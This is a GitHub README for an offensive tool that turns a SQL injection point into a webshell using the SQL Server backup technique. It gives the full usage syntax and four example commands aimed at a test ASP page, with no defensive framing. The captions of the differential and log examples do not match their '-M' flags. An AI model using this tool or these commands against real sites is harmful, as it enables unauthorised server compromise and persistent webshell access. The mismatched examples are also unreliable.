Skip to content

NeoTheCapt/SqlServerBackupShell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

An implement to get shell from Sql Injection point via sqlserver-backup-shell technic.

Powered by Brian.W AKA BigCHAN.
usage: backupshell [-h|--help] -u|--baseUrl "<value>" -m|--method (GET|POST)
                   [-p|--proxyUrl "<value>"] -s|--shell "<value>" [-H|--headers
                   "<value>" [-H|--headers "<value>" ...]] -d|--dbname
                   "<value>" -b|--backdir "<value>" [-D|--postData "<value>"]
                   [-t|--timeout <integer>] [-M|--mode (diff|log)]
                   [-c|--combine <integer>]

                   Sqlserver backup shell exploit.

Arguments:

  -h  --help      Print help information
  -u  --baseUrl   The base URL of the target.Use {*} as the payload inject
                  point.
  -m  --method    The method to use.
  -p  --proxyUrl  The proxy URL.
  -s  --shell     The path to a webshell.
  -H  --headers   The headers to send http request.
  -d  --dbname    The database name.
  -b  --backdir   The backup directory.
  -D  --postData  The post data.Use {*} as the payload inject point.
  -t  --timeout   The timeout of http request.
  -M  --mode      The mode to use.
  -c  --combine   Combine the payload to one request.

Example, get shell with database differential backup:

$ backupshell -u http://localhost/test.asp?a={*} -s /tools/payload/webshell.txt -d db1 -b c:\\a.txt -m GET -M log -c 1

Example, get shell with log backup:

$ backupshell -u http://localhost/test.asp?a={*} -s /tools/payload/webshell.txt -d db1 -b c:\\a.txt -m GET -M diff -c 1

Example, for POST request:

$ backupshell -u http://localhost/test.asp -s /tools/payload/webshell.txt -d db1 -b c:\\a.txt -m POST -D "a={*}" -M log -c 1

Example, for set up the payload in url param with POST request:

$ backupshell -u http://localhost/test.asp?a={*} -s /tools/payload/webshell.txt -d db1 -b c:\\a.txt -m POST -D "null" -M log -c 1

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages